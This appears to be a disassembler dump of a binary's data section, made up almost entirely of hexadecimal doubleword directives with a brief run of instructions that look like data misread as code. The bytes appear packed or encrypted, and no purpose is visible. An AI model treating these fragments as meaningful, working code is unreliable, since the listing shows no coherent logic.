		dd 0F60D034h, 0A328B8F9h, 0D577CE0h, 2302054Eh,	48EAD1CDh
		dd 0B8C859A4h, 402E1516h, 0B4D8E7ACh, 720446C8h, 0DBCE30E6h
		dd 0D2023C81h, 0A08EC047h, 0B30E6054h, 528CF9E8h, 2AC81779h
		dd 54B6C0A1h, 0B60FCC4h, 0C87DFBEh, 289873h, 31B66436h
		dd 0E0D782B1h, 34A2CE4Ah, 3F07EF00h, 9DE69C93h,	8064BC04h
		dd 4BAA75F2h, 1C469BE0h, 6D53C30Ah, 0F100CC7Ch,	0B46FE2B8h
		dd 26590772h, 49CBE5E9h, 8021B424h, 7428557Eh, 0B660C809h
		dd 300C00D7h, 2E17F07Ch, 43892EAh, 0E2DC5654h, 0E8945EF4h
		dd 1DA83CB0h, 0D3982483h, 0A73C0CE6h, 8113C111h, 70C87E90h
		dd 21054FF2h, 0F15EB38Ch, 30306BE8h, 959F095Ah,	8C81544Bh
		dd 5418A4C4h, 1540301h,	0F84CC159h, 22735B8Eh, 2CF907F0h
		dd 0F0DAAE42h, 5EB82DE4h, 0D7D13018h, 2468C241h, 0F5668082h
		dd 8C803C5Ch, 5BA021C3h, 9B31002Bh, 0BA655363h,	4601A920h
		dd 0E63350E1h, 2032F8AAh, 8009C427h, 5C5070EAh,	0AF80590Ch
		dd 780AB9BBh, 80B15B5Ah, 58E9AC4h, 917F9504h, 0A0C128E1h
		dd 0BC002F87h, 5C07BAD3h, 0B302D854h, 2C12784Ah, 0FCC6E0D2h
		dd 89708834h, 0EDF58204h, 0AE0023ABh, 55EE82h, 808F5158h
		dd 0E6160926h, 54A079ABh, 0DBC21203h, 81B0785Ch, 0A0C87FE1h
		dd 47CFF901h, 20EBC0D3h, 0E77C4EEEh, 0BB036AE4h, 0C4D18A12h
		dd 0BB0002Dh, 819D3DDEh, 0B0B7A74Fh, 229FD4h, 0F40AF136h
		dd 32FC79D8h, 0BA23C400h, 342667BDh, 0DD970B5Eh, 1484F1D1h
		dd 0C128AC87h, 0FFE2E62Bh, 0A212E096h, 0EE301604h, 0A598400h
		dd 1E9BC0E1h, 2BF0B98h,	4D87CEF9h, 10078F4h, 0C931517Fh
		dd 52BD2E97h, 9CC70FCCh, 0A9EE7960h, 6107D7C4h,	749A236Dh
		dd 0D1EADAD0h, 0D9A7F591h
		dd 49822C43h, 30380B55h, 4232AF48h, 0FD0E00DBh,	0D1615F92h
		dd 9003B7DFh, 0C1F08132h, 4E02177Dh, 0E4D0DEE9h, 3E2CE0C8h
		dd 2AFE3EA0h, 0D1130900h, 86C08454h, 5E64E627h,	0FCE8250Ch
		dd 61229E27h, 0F14841C6h, 0DD082064h, 1013B914h, 60020208h
		dd 0D5C054D3h, 0C0DB832h, 301C0810h, 36AB9100h,	93707834h
		dd 2BFC3D22h, 5AD8828Fh, 59E75C02h, 8894A458h, 0C45B8B52h
		dd 80C2E228h, 0A14A48B4h, 5ABF1092h, 2D709B8Ch,	0B8313464h
		dd 0A8E1289Eh, 38D4263Fh, 2C9DB35Eh, 0C860ED0h,	8B806664h
		dd 29009431h, 9BEB2487h, 101DC01Bh, 24D41FD2h, 0A01E9059h
		dd 52B22660h, 42983BD4h, 0F86C1DEh, 0CCF96800h,	0D851D446h
		dd 37AC34F0h, 8000AB71h, 9790B93Ch, 0BCEC0029h,	0D88698E4h
		dd 0A82CB5E1h, 0D90024B3h, 0AE5EB6EEh, 98E619DBh, 0EC224095h
		dd 0AC3A9631h, 0DD4F073Fh, 5C275902h, 40E96502h, 0E0462660h
		dd 49B49E2Fh, 2A96A4D1h, 0C05F7CA2h, 653E8050h,	58058CA5h
		dd 50851660h, 565F5849h, 0F2D1625Ch, 320110DEh,	0EE5BAFBh
		dd 946C30h, 0E98C9F8Dh,	0DD4ED486h, 0BBE0B700h,	91A6484Fh
		dd 10305CB9h, 938502Eh,	0C0B2F5A1h, 2653F1C1h, 26B00B88h
		dd 0E6E068D5h, 160892ECh, 0A0D702E9h, 0B200A664h, 35276128h
		dd 16DA631Ah, 0B1B8D1D2h, 293070DCh, 0C50CEA58h, 84439D0Dh
		dd 16D670D1h, 33D52E18h, 0F081B728h, 0D1D02085h, 7770E38h
		dd 0F1D815DDh, 0D6D0E990h, 0A8FA0059h, 726A9B29h, 0BA2F80D4h
		dd 4FB8C0CBh, 0F784008Dh, 0E5CA52FBh, 0B000B916h, 0A6DB807Ah
		dd 511475Ah, 31535849h,	3483AE1Dh, 0A3378B4Bh, 0FD33C019h
		dd 1E567843h, 308AB011h, 304F5018h, 0C63220C1h,	18800D9Ah
		dd 0AE16BD92h, 48C0D5DDh, 113F5619h, 31F70B45h,	11801D90h
		dd 62AC75C5h, 9698DB14h, 0F3037D34h, 111F561Dh,	7E16B892h
		dd 0CB781049h, 0E3F400A5h, 0B16550C3h, 0A2E80075h, 342BCE1Dh
		dd 0D930B0D7h, 7FB84803h, 0DAB403ADh, 59FE07E9h, 5A8051h
		dd 0FD08B934h, 90F817F8h, 0C616DD0Ch, 3C9A913Dh, 3E18377Dh
		dd 7931D05Bh, 58380660h, 3DA61127h, 0B08C1705h,	2018240Bh
		dd 3D379C00h, 5DAE212Ah, 57D8EBB5h, 0D68CA054h,	9884A0EAh
		dd 709D017Fh, 814BDC6Ch, 209C401Fh, 69F0B4F5h, 6F0D0E8h
		dd 242BC907h, 0E7EE3FF0h, 0A075BAA6h, 0FAC0B424h, 0B05417BEh
		dd 0AD4D145Eh, 2B0A08B2h, 10A0C7B6h, 0B8A68A3Fh, 492D8B39h
		dd 0C9998041h, 72F5391h, 9E0499A7h, 314C8023h, 0A8C3F93Fh
		dd 0F916DCF1h, 0F0C4B515h, 4F70A1Bh, 0A0F0EEC6h, 17CA1FE4h
		dd 40AB0009h, 3A320FDh,	2CC288A0h, 0EED01900h, 0B2781110h
		dd 0F0ECA8ABh, 0DAF9181Dh, 764B106Bh, 0D2D13D6Fh, 40581422h
		dd 482FB044h, 860E4C82h, 0F0A0AD7Dh, 7801CA97h,	8E18D060h
		dd 50FD2062h, 0E41C88Dh, 49D3AC26h, 8717EF23h, 0C7B44CC1h
		dd 4E7F281Ch, 4B06FC69h, 97844E5h, 7950BFA6h, 6BF06018h
		dd 0EB84780h, 0DFDEAD81h, 504E80E0h, 4400727Ah,	4877D7A1h
		dd 2A55C58h, 0C60228D2h, 1C40AD51h, 1603ED90h, 59F94281h
		dd 0AB582454h, 58771C34h, 20611010h, 0A4B35A80h, 0A63C2010h
		dd 7B70EFF6h, 92102D09h, 81A43AD5h, 7E08B804h, 8497C841h
		dd 28875825h, 40C5A631h, 59584F78h, 19487F3Bh, 0CB59A813h
		dd 0B8009C55h, 2463C786h, 0D8343179h, 20E5A839h, 0EB407744h
		dd 0A1B700AEh, 0CFF87F19h, 61007C70h, 76CD3FCBh, 3642C0Eh
		dd 15EA4210h, 67880137h, 2579058Ah, 0FE3C822Dh,	782241F6h
		dd 0F835C11Dh, 8A0F575Fh, 0BBC782E7h, 0EF659724h, 2688060Ch
		dd 8ACCE58Ch, 0E306C215h, 1183C382h, 0E7B7ED84h, 1C0E53Dh
		dd 60FB020Bh, 5D328388h, 87DC80EAh, 0E28A5200h,	20C25582h
		dd 0D88B1FFh, 8353452h,	0EA52604Bh, 83837857h, 756BB31h
		dd 252D8A55h, 7CAD9255h, 45E1490Dh, 0C6812387h,	2309834Dh
		dd 87C7E323h, 411D8C5Dh, 0B70DF369h, 0E831D318h, 2FA1B1EAh
		dd 3413B5Ch, 0E9180D22h, 54AF5B59h, 5EBB0153h, 8A558F24h
		dd 0CCF8F5D4h, 0E40EC482h, 0C75A833Eh, 0E1CE22F4h, 7ECC215h
		dd 268112B9h, 0AEA0144h, 764EBF39h, 1AD2E0FDh, 302086A4h
		dd 8C673162h, 0D655517Eh, 0C582F882h, 48064D85h, 0EA41ED58h
		dd 1781733Bh, 0F66E06E8h, 0FFC8D82Bh, 7E14350Ah, 0EA06E00Ah
		dd 1E282053h, 0AE68A56h, 43A124F1h, 61902584h, 1A90CF02h
		dd 695A0880h, 0A3AA6DFAh, 750FAF0Eh, 0E8C05C6h,	82E8EA18h
		dd 3CBFB61Eh, 9C94E929h, 2E00D5E7h, 6B03640Bh, 650D12Ah
		dd 0E4FB5B07h, 387BC05Fh, 0E721F603h, 0E4E90242h, 47BC5421h
		dd 5CD9D012h, 7701BA52h, 0F872D27Fh, 0E14042DAh, 8B66218h
		dd 4586EA4Eh, 0C58C5B1Dh, 75B90C7Eh, 3F730ACAh,	90A9C832h
		dd 0D8F80684h, 576BE56h, 3DEAEB92h, 92735D90h, 69A90348h
		dd 19741DD0h, 0EA1256F8h, 155F6826h, 0D4020F60h, 6CA90489h
		dd 0CA0CD720h, 0F8308510h, 2B691018h, 2547CD26h, 0A8AB984h
		dd 0C20754EAh, 0C50EC81h, 0F0D8C780h, 0D05D0246h, 1FDDE964h
		dd 0C2A0A78Fh, 5AD70866h, 93FAF673h, 581A5667h,	3A27CA63h
		dd 8B81010Ch, 0C481240Ch, 0B114A804h, 0AAE9D00Ch, 3C8B0E48h
		dd 74182414h, 0C87100Ah, 8177F780h, 463AF8ADh, 29590CC0h
		dd 1815AD5h, 0A668DCC3h, 70EB0171h, 27A90B8Ah, 0FF6E8E83h
		dd 7968C377h, 0E91C1E6Bh, 0F702B055h, 0DE9046D6h, 6B1C300h
		dd 5EF531A3h, 334CC421h, 22341E25h, 0A4505B0Fh,	0FB9034E2h
		dd 3D327CC7h, 77BA3F4Eh, 70682367h, 58109A6Ch, 7D6D056Eh
		dd 0E1719640h, 1012573h, 551A8674h, 8003FEE9h, 26BF5738h
		dd 0AD4D0A1h, 3C8BFA29h, 0A6E90662h, 807646DEh,	0CA88430Eh
		dd 79831459h, 6B5EE33h,	0E6F875Ch, 0A87BB0C6h, 688957BBh
		dd 2163AEE7h, 0E9883F06h, 830F281Fh, 1C8985ECh,	0E08FBE06h
		dd 0C6010774h, 0CC9B6858h, 343E8926h, 0D174B924h, 8B0E9EB0h
		dd 6A1F0ABh, 24F78F1Eh,	414C582Ch, 401CE1E1h, 16BD554Fh
		dd 0E844E00h, 129FF581h, 0E9280C36h, 294414DEh,	6232FE77h
		dd 82F70E1Bh, 614D5DF1h, 83F7534Ch, 0FF1A3384h,	0E4075F6Ch
		dd 3BDE1E50h, 208B89FEh, 3087F659h, 665A7BF7h, 3433D3C7h
		dd 0D06316Dh, 41EFB303h, 38FA70A6h, 0C3C25453h,	483168E9h
		dd 0F0EF0116h, 102B656Eh, 2D1700BBh, 3B903E1Ah,	5D80114h
		dd 3E5B2907h, 5884143h,	0E5685136h, 0E2BB3743h,	83485405h
		dd 0ABA61C87h, 81B241E8h, 288E5448h, 0CCFC3EC2h, 89515C62h
		dd 0A23540E1h, 262C7168h, 63D7F7h, 337A7E18h, 2809CA81h
		dd 0F077B29h, 824490A8h, 22109158h, 0E709ED86h,	18DF847Fh
		dd 63105893h, 67BBC094h, 0C0771742h, 0A52D5BFCh, 0E0EB3E58h
		dd 0CE30E9F0h, 90682A71h, 0AC51D176h, 48D0510h,	2C805266h
		dd 5A603B87h, 3602E2C0h, 8A04CAFEh, 9FFC17EFh, 0E9D50AB0h
		dd 23E1E4B1h, 0E3C537DCh, 1C35F1C6h, 941D345Ch,	0C8B60F07h
		dd 619C5182h, 1005D714h, 34481F4Eh, 0F1835D1Ch,	931C3E44h
		dd 712CCD17h, 60B2D987h, 5494B209h, 8B282Bh, 4AA676B2h
		dd 0EB3AC14Bh, 0F3810007h, 23457A48h, 6D5A36E9h, 0C0269648h
		dd 56846B66h, 4AD9E689h, 26E9C518h, 84B07937h, 94515FF9h
		dd 0E94F7095h, 0BFC747C2h, 0F5345DEEh, 95D3E397h, 95B7D46h
		dd 14020456h, 176038Dh,	2438E908h, 0AD14B6B9h, 0CDF728h
		dd 0FE5BF920h, 54A9E9C1h
		dd 8234842Eh, 0F886B32Fh, 0D9F31801h, 590064EDh, 7070F5F8h
		dd 30ACA9E1h, 0F8A4424Dh, 91790AC0h, 0A491A414h, 0E36ACE5Dh
		dd 0C0E9C1DAh, 9ABB44DFh, 3C871882h, 643868A2h,	314732Dh
		dd 0F618E9E2h, 0FDBA0314h, 29D179DEh, 0CB015A90h, 5765948h
		dd 49954199h, 21B99007h, 2F807DB5h, 9803E6C1h, 0DA296862h
		dd 0A90558C3h, 47DD5826h, 1230A039h, 7F1CC80h, 0E94B143h
		dd 0DD599EFDh, 0E328C9F4h, 3C7C4688h, 67F2C33Eh, 972B311Dh
		dd 0FDB469CBh, 52F4E958h, 2FB300CCh, 4E684B9Dh,	5AF9D464h
		dd 6CC7BD00h, 210533E3h, 4FAD2A07h, 9479D1E9h, 0E8010AEDh
		dd 2482C8Bh, 5E08950h, 0E869B746h, 58179116h, 31E90664h
		dd 0A1938478h, 0E2CF47D5h, 55A2C581h, 0C1012C7Ah, 6BE008E3h
		dd 4A55D218h, 41185D34h, 3372D868h, 41BB261Fh, 8A354CC0h
		dd 0D3F7242Bh, 77D803B3h, 0E3B0662Ch, 0AD3E4ADCh, 3DEB0460h
		dd 5187DD91h, 81C25B34h, 0CEBCC8F7h, 58E6E64Fh,	0FE00AE6Eh
		dd 0E9C0B353h, 61913009h, 7310210Dh, 9659E0FAh,	0A8018362h
		dd 84B1E793h, 0BF846C01h, 6A9BE9h, 650EF0BDh, 4D3FF410h
		dd 0F07611F3h, 5D20C093h, 8247C29h, 8F0D5F76h, 6814047h
		dd 0BDDDD20h, 2083E926h, 0A0333520h, 1262F69h, 0FF20DAC7h
		dd 19371A4h, 1603488h, 0A85972B8h, 0BDE2EA52h, 94DAA325h
		dd 0EA5370h, 77331D1Bh,	0EF288179h, 5F202301h, 3309698Fh
		dd 0A0203414h, 2E547652h, 0A287F545h, 4BFD2C10h, 7706CB69h
		dd 84C123Fh, 0D48F849Ch, 28593315h, 0E9F92192h,	925817Dh
		dd 51E2D1C2h, 0D240E5E8h, 939F274Ah, 2609F635h,	31C3095Bh
		dd 0CBE081A6h, 880804DAh, 0D8494468h, 598DE3Eh,	0B205640h
		dd 0CDFE58C5h, 81B24D02h, 8040C6E2h, 22F598E9h,	806D2148h
		dd 0B9515B54h, 170F5055h, 1BE98170h, 0DEF0A90Dh, 3E2B97A4h
		dd 3490DB93h, 369D0A44h, 0CF2989CCh, 65F4E79Ch,	9BC19482h
		dd 5DE8855Fh, 4F984987h, 0F7472F20h, 0E739C1DFh, 5EF8F06h
		dd 0D6AC2081h, 0B08961ABh, 0B8E1FE24h, 0E183109h, 2057D84Bh
		dd 7F04ADADh, 0DF897245h, 92D59981h, 0B5B10B64h, 0F06600Ch
		dd 0C2F32828h, 6E9A5C86h, 871230B0h, 41055756h,	7C9969ECh
		dd 84FFF707h, 0DCA5D38Dh, 0B9E154DCh, 685E82D0h, 0D99A7810h
		dd 32EDCFC3h, 899CC6EEh, 9A0B7198h, 0D74AA17h, 8012884h
		dd 429B335Dh, 16B40631h, 1822B721h, 0D8FBAD03h,	0E0A33AC2h
		dd 0E591F488h, 0DC062058h, 0DAF700F1h, 8E234C1h, 0C2B00B06h
		dd 0A9D75980h, 0D8BAD089h, 4378E00Ch, 0E0990C58h, 0DE6B5CB5h
		dd 5C4D5E20h, 0BD6824CEh, 6A215D42h, 269765BFh,	757C625Eh
		dd 5D056605h, 9146B6Ah,	430A5C23h, 0B8F87520h, 2C8D2E91h
		dd 0F526DEE3h, 1B6B3324h, 0D4C0631h, 0E6A626E8h, 0E556508Eh
		dd 362037D9h, 0B3694668h, 0BA528AE9h, 6674C0C7h, 126214Fh
		dd 0F40C82D6h, 71C71D43h, 0D73F3FDEh, 83174A48h, 4AC306C1h
		dd 43B874DDh, 1963EB9h,	215E3B49h, 4577683Dh, 6842924Dh
		dd 246AC582h, 0BA25BF0Ah, 0F7BD1A80h, 617A0D0Ah, 1483B332h
		dd 4569C451h, 0CAE2759h, 6B266968h, 7E7AC53Ch, 0C1B1980Bh
		dd 320F4100h, 0F1BE3FBFh, 0EF0128CDh, 0E9F80BEAh, 199E188Eh
		dd 0B040684h, 50840FC0h, 34FFC8E0h, 90D62877h, 0E0C48085h
		dd 0C370EBE6h, 1325E37Dh, 0CC893AEDh, 1A179A10h, 81201EE9h
		dd 0EBA51BA2h, 8103C066h, 3E4530F1h, 18E7F144h,	1D664D58h
		dd 2562CB68h, 2E93E622h, 245B4609h, 94E0D821h, 0C1801F5Bh
		dd 0C83118E8h, 0E2B8FBB0h, 79756812h, 33C10FCDh, 22A5D207h
		dd 0D8675548h, 75FE4082h, 124CAC8Ch, 74651368h,	0E90E9841h
		dd 0AC7B5B8h, 0B9B4F028h, 521626F3h, 5C4D1FB6h,	2CD80E5Ah
		dd 0E9F4C5FEh, 0E01788AFh, 0F0814193h, 7F4CE95Eh, 5C828538h
		dd 3858F1F6h, 6812EFB0h, 44CF74C2h, 3BD11110h, 7B5D2401h
		dd 0B2FC021Eh, 71F1630Ch, 0D1F740BFh, 250E9C1h,	541D3BD6h
		dd 0BD1B1Eh, 30DD43EAh,	0FE59CE29h, 21C802E6h, 0B85062A2h
		dd 0C6FE577Ah, 0F63F4598h, 20A09E4Bh, 875EF245h, 9A878712h
		dd 0A4501858h, 39CCD0BFh, 0C17EB2D8h, 2CC5B186h, 0E582C239h
		dd 757A7C24h, 0E5A29086h, 0AAAF770h, 10450494h,	0AE753DCDh
		dd 0BB5BBD48h, 12521304h, 0C07CD879h, 12595D40h, 61068068h
		dd 58D63FDh, 9202790Bh,	0B5BA0290h, 4A9A411Eh, 0C3579FC3h
		dd 21598B5Fh, 7B40E948h, 0DA8F3AA5h, 0F3A44B0Bh, 828BA2BDh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xchg	ch, [ebp+620084EDh]
		add	eax, 41313899h
		and	eax, 0E03E1ECDh
		and	[esi-79A02064h], bh
		jmp	near ptr 3F3B16EEh
; ---------------------------------------------------------------------------
		dw 95B7h
		dd 0CDF3F71Fh, 9206AAEEh, 7240C580h, 142EE781h,	0F7771F61h
		dd 472D52D7h, 74E82989h, 0FE25A048h, 0F480C41Ch, 2FE128C9h
		dd 2B92FFB8h, 79688430h, 52E69C01h, 6E90AC60h, 0D7939DA6h
		dd 572DC601h, 84040B18h, 9B0815DFh, 2C6C99Ch, 0E421E865h
		dd 4CD7E904h, 965E1BD3h, 310D3E48h, 1817BD15h, 1E003758h
		dd 0C16CC813h, 0F71D03EBh, 815DD1D3h, 0AD759FC2h, 0B2D5E801h
		dd 8E69B08h, 933069D9h,	482F26BAh, 0EA022E03h, 2230685Dh
		dd 0E914D766h, 852091F1h, 0A610F295h, 70A71908h, 8F70FE31h
		dd 970648E6h, 0D5290A03h, 0C6054E69h, 6FB31DECh, 0AD879500h
		dd 931E538h, 0D765E9F1h, 9C62A89Ah, 8812EB70h, 11C78AECh
		dd 0B1A26465h, 0ABE95809h, 0C3683661h, 2159E112h, 46A08F04h
		dd 0F0C60507h, 432D60ABh, 232E5207h, 7CAF801h, 2011513Eh
		dd 0C08028CAh, 520207E5h, 70C3B151h, 0C98006E1h, 0C1247D73h
		dd 0F519A545h, 3302ECB1h, 0E218156Ah, 0DF9C886Fh, 40052C79h
		dd 4C33A384h, 79090537h, 71CC12Ah, 0E05004F3h, 6249E903h
		dd 4081E543h, 0EEF03C46h, 0F030284Bh, 9E3722h, 6E1EBA78h
		dd 0DA312516h, 0A9015B2Eh, 3E7FE906h, 0C94D4C30h, 8F131107h
		dd 0A5F5F51Ah, 5B69EAD4h, 9E14B989h, 8ADF5DE8h,	78D3F66Ah
		dd 1DBD2504h, 5860280Ch, 7E2C003h, 0FA12C280h, 357AE8B9h
		dd 0D86D3D98h, 239A0500h, 0C129AED3h, 51DA584Ch, 0A3D1D8D8h
		dd 856CBF28h, 0C730D390h, 3D2D25EDh, 13A63C34h,	705C814h
		dd 4E7F5E48h, 6DF4B04h,	3C40D566h, 421C4E73h, 0B07C6F75h
		dd 86EBDE60h, 2778551Dh, 2E0AC381h, 18876218h, 9C5F74B3h
		dd 4018A80Ch, 98246EC6h, 0E86B12CAh, 0F712C153h, 3CEE31D0h
		dd 87813FCBh, 4AEC545Fh, 0E7D1EA61h, 93189F8h, 0EFC15AD7h
		dd 1CC7F300h, 96E76639h, 8D023D0Ch, 0C1FB01C6h,	4B974BAEh
		dd 8DD95EBh, 1EA950FFh,	969F22CBh, 12AD2911h, 10F4239Eh
		dd 0BE2E2D0Bh, 0FE3518ABh, 0C1DD8EEh, 0CE8A4092h, 5128446h
		dd 41CDC50Fh, 0EEC10873h, 1070796h, 987D3284h, 123C8142h
		dd 89EC5DFEh, 0F0807B61h, 9E38EDCAh, 0E26FC155h, 322FA0EAh
		dd 4DE92AC6h, 5B0FBD36h, 0EB09DAF6h, 0F568A8E0h, 0DCBB5F6Ch
		dd 0C4BD1355h, 0B9D8C037h, 0AF0B53F6h, 0CD295Dh, 893EDC7h
		dd 5A2048D8h, 0FB76DD02h, 4D000947h, 1DC4C581h,	8191386Fh
		dd 184C89E5h, 4638802Eh, 0E9136939h, 2C5294D4h,	3E90083Ch
		dd 15621425h, 4D073868h, 8BD1881Eh, 93305D54h, 53807F51h
		dd 26B23C52h, 0CB5FDC92h, 30C12120h, 525DC9BAh,	66B81150h
		dd 2DE72318h, 31AFF0Ch,	0E9570E5Bh, 9C4A4D0Fh, 0B19D2236h
		dd 6D108F1h, 0F7864E28h, 0C516D3D8h, 0D63A26F7h, 0A8ED01BEh
		dd 0F050F227h, 0B73EBDF5h, 0EF21924Eh, 0F9DDEA04h, 0DDB2D919h
		dd 7ECEC53h, 559E5A99h,	16CEA48h, 1E53F8B9h, 7DA853Eh
		dd 0A8C1E1A8h, 495C715Ch, 1225D05h, 788181CBh, 714D9765h
		dd 846A0DCh, 145ED8FAh,	7EA8F044h, 97040CB3h, 800E4804h
		dd 744F4AE6h, 4719455Ah, 21FD05D8h, 0E61E9D9h, 5DC73664h
		dd 497B6058h, 294FD65Ah, 0D0043CFDh, 0BE6E22A2h, 3EDD686Eh
		dd 0B4C2D81h, 2D8029E9h, 14E084DFh, 4248465Ah, 22E78F54h
		dd 698B8CCAh, 52E40F0h,	0BE5F250Bh, 65470930h, 10BA1457h
		dd 1DDF2926h, 475956FFh, 0EB5457B7h, 0A325636Ch, 0EB7183E2h
		dd 5021C24Eh, 0CE2D03C0h, 5F4D444Bh, 80EC41D9h,	7447B926h
		dd 7BD121B2h, 0DA42F9E1h, 53B90C44h, 2C86131Fh,	0DCC57612h
		dd 9E315A0h, 5CDE4679h,	508FDD03h, 0EB3118C0h, 40F95D73h
		dd 4F8DF6CBh, 930F507h,	609E5EF7h, 0D3B05013h, 5FF81389h
		dd 35DA902Dh, 0E0051292h, 14FBE963h, 157132CDh,	598C8169h
		dd 5D00BBA5h, 81178223h, 26691CCBh, 0A33D52h, 251327C7h
		dd 0FF6EC383h, 9990A0B5h, 12017D0Fh, 0C81C8BD8h, 0A3276860h
		dd 0FAF31B77h, 5F73C902h, 0A0145A32h, 0BFC1F409h, 0D473329Eh
		dd 5F05FA29h, 0C281EA01h, 8B5D0B00h, 0B15B5A0Ah, 0D96861FBh
		dd 81265205h, 26B4160h,	0E96F4A0Bh, 8C09292Ah, 1C350435h
		dd 0E5C0CB44h, 605B3B61h, 0B09273E5h, 646F81BCh, 0E6191EE4h
		dd 0C4296C5Bh, 13AC154Bh, 9751E94h, 4EF94097h, 0F739540h
		dd 0F6500E9Ch, 0B843D063h, 205A0A60h, 5B2666FDh, 0CD091952h
		dd 0EE7461DBh, 4E7AF128h, 0D94C131Ch, 509DF1BCh, 0EE805CDFh
		dd 0E630931Ch, 0C808F49Bh, 0C78601ECh, 0E541C60Ah, 5634C2F0h
		dd 0AA5B94Ch, 353FD1A8h, 239255Bh, 42604432h, 8B676ADDh
		dd 4BCD4453h, 649A1262h, 5CB6A0CFh, 10944090h, 0AE1E4426h
		dd 0BA3C4980h, 998A3E2h, 59CA2987h, 0F05C723h, 683A6D98h
		dd 1BB143F0h, 506AB982h, 16DBC5E2h, 3E76401Ch, 4D45C63Bh
		dd 0E53DC1E2h, 0E9CBD404h, 7D80D04Bh, 4C1768BAh, 0B809411Ah
		dd 0CF0B4827h, 284F3103h, 0C22951C0h, 883CAF1h,	4FAC158h
		dd 0BBF2CCC0h, 68900B18h, 9472C22h, 7E90F96h, 5E49E058h
		dd 2508002Ch, 1B0D3C0Eh, 4A392C06h, 7B822DBh, 5D6F14BDh
		dd 3B48A208h, 10B1CE6Bh, 1A312B1Bh, 5801E25Dh, 17B55157h
		dd 0D5F7F450h, 0F670D898h, 9405D7Dh, 4D6F2CE9h,	61DC4055h
		dd 68906C29h, 0CA8B9F20h, 2EA03C6h, 7E88586Ah, 5DAC860h
		dd 2D6F7826h, 0C15C8701h, 8AD5E998h, 0A0414A2Fh, 0B75380C2h
		dd 0ADC78097h, 3DBCE1F6h, 95809627h, 3BC309B8h,	0B93C3593h
		dd 0CB0CCCBCh, 0FE8DC654h, 663BC19Eh, 0C9C6FE59h, 0F8AAECCEh
		dd 51BB88A1h, 81D2622Dh, 61F7BD14h, 7EFC7224h, 766C267Dh
		dd 0C223AF9Ch, 7BD2601Eh, 8285960h, 0FB8A1128h,	8874C73Ah
		dd 20DA0148h, 75E91208h, 56CB4E0Dh, 0E5814E6h, 80E35D49h
		dd 59244F29h, 0E5236B68h, 2E3504h, 0ADC6F181h, 11A0C4Bh
		dd 0FB2859C8h, 80772B4Dh, 55A01CC5h, 34E92D52h,	0C321EC81h
		dd 0C1BA8658h, 3CC004EBh, 0D5D87AF8h, 729A150h,	0E9771947h
		dd 0AB6949BBh, 7588E107h, 240E2363h, 516FC72Dh,	0B540BB39h
		dd 7544DDFFh, 33902C4h,	0F328FC82h, 59027AF1h, 0EEE38953h
		dd 0DAB83446h, 0E1DDF522h, 801A9F27h, 0CB0E989Ch, 82CEDB59h
		dd 0AEA0C3E3h, 22A84E06h, 73EACF34h, 4649D8D9h,	5FB03Ch
		dd 165F1FD0h, 0D1D9F759h, 0B4E475B8h, 2FA13813h, 22FE3C00h
		dd 4C892920h, 32071CFh,	0F1539FB4h, 870588D2h, 55CB7277h
		dd 7D5D3949h, 2BCBDF6Ah, 0B4E8ACCAh, 75969555h,	0B29782EEh
		dd 0BCDA80C3h, 0B0408826h, 981DA363h, 24042320h, 0A0382979h
		dd 54E94A08h, 40700536h, 450CB9E0h, 0EA650650h,	0F9392022h
		dd 66DAC906h, 0A0C4BECh, 48D1763Bh, 0A6D40381h,	44E3F435h
		dd 2319F41Eh, 4C2918FFh, 9277E910h, 2C5A1CDDh, 0FAE81EADh
		dd 0A698497Ch, 0FD8D2D4Ah, 48073C5Eh, 0A4A0614h, 0B0C46C1h
		dd 13710DA4h, 740E0F09h, 477248A9h, 0D1220460h,	0B645724Eh
		dd 2D06304Fh, 33F44341h, 5102A597h, 0E3C1B146h,	5EEB0536h
		dd 0F4F8E246h, 444195F5h, 54E50C92h, 3AB6493Bh,	1C4177A6h
		dd 683224h, 50441F6Eh, 0E0930558h, 0AFBB25h, 0E8307143h
		dd 94619B1Dh, 4F490CEAh, 0FFD02183h, 0D258B652h, 6DAE304h
		dd 7A04550Bh, 99A1F526h, 0A6F12903h, 81D459CEh,	0EB2EA768h
		dd 0C6BFF827h, 2447DED1h, 3AAF855Dh, 7DF54096h,	11E01D2Ah
		dd 0ED28BC01h, 0D6ADA008h, 665C8052h, 6FD3D34Ah, 59612D20h
		dd 0D89C8889h, 3E89FEC0h
		dd 0B201092Ah, 2C088388h, 3E0E10Ch, 0C5F9E94Ch,	0F1684E0Ah
		dd 0F4B06A7Fh, 1223FB63h, 0CD4B7CE9h, 8C69DC3Bh, 4F5687A2h
		dd 0EC49D546h, 6ED30C1h, 718ED0DCh, 0EB89FD18h,	81DD6F24h
		dd 64BFEBB7h, 0E5EF9911h, 0EDC7A60Bh, 22AB123Ch, 0CEBD9B04h
		dd 0A69228A8h, 63A21064h, 0F2D4124Eh, 68F944A2h, 981DD22Dh
		dd 9E29915Ch, 0EC1DD00Dh, 86B01499h, 18156FF7h,	0BF53522h
		dd 19FB9E9h, 0E1C058DEh, 0BBE5B8BFh, 0A891A68h,	7C527B74h
		dd 0C8124971h, 0A0C9465Eh, 443B8427h, 0CF810255h, 3D110D91h
		dd 1D009679h, 29E0AAB0h, 785F64FEh, 0CD870556h,	6801B800h
		dd 4A29805Bh, 0F8BF8DEFh, 301277F7h, 98005FA0h,	18605BCEh
		dd 612BF909h, 0F9CAEF7Ch, 0FB577074h, 0CE905F7Ch, 18866817h
		dd 0AAB7D635h, 9CB85C28h, 0B4455AC6h, 92400396h, 8E05D001h
		dd 1452251Dh, 322B7B56h, 2D1F8001h, 8C60C151h, 0D6F50681h
		dd 125D1873h, 76F00363h, 29F1C8C6h, 0B05AF8E8h,	74FC01ADh
		dd 0E1C1482Ah, 30202108h, 0D525028h, 211C4BB5h,	8F4B4928h
		dd 5EB3BD81h, 4768C840h, 0E077AB74h, 17D3F618h,	861BF380h
		dd 0E20C0CF6h, 0CECDB5E9h, 2CD81E28h, 20D349D4h, 557166Eh
		dd 68DF4105h, 51174A28h, 9CFE7498h, 4DDF888Ah, 0BB535C00h
		dd 26490557h, 20AB2150h, 657205ECh, 1C297E8Ch, 0F9C3DED8h
		dd 0CC61621Eh, 76A8F6Eh, 9D78C441h, 0B30F66C2h,	0F62F2A64h
		dd 0A43118C3h, 52598037h, 4245BA07h, 0A93F086Ah, 29C72BC7h
		dd 0D9A743CFh, 16B0FA82h, 0E4518A92h, 0F228624Ah, 6A6809BBh
		dd 0F4873E39h, 79F157C3h, 0E92568F0h, 7B642A7h,	0A58406F0h
